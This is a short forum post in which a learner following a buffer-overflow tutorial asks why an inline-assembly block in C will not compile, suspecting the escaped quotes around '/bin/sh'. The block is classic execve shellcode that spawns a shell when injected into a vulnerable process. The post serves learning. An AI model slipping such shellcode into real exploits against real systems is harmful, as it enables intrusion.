I'm trying to write some shell code, to learn about buffer-overflows. I'm following a tutorial and trying to put some assembly into C and get the code to compile (or assemble...). Anyway, here's the code that won't compile.
I think the problem is .string \"/bin/sh\" I think it has to do with the combination of slashes and quotation marks.Code:__asm__("
jmp 0x2a
popl %esi
movl %esi,0x8(%esi)
movb $0x0,0x7(%esi)
movl $0x0,0xc(%esi)
movl $0xb,%eax
movl %esi,%ebx
leal 0x8(%esi),%ecx
leal 0xc(%esi),%edx
int $0x80
movl $0x1, %eax
movl $0x0, %ebx
int $0x80
call -0x2f
.string \"/bin/sh\"
");

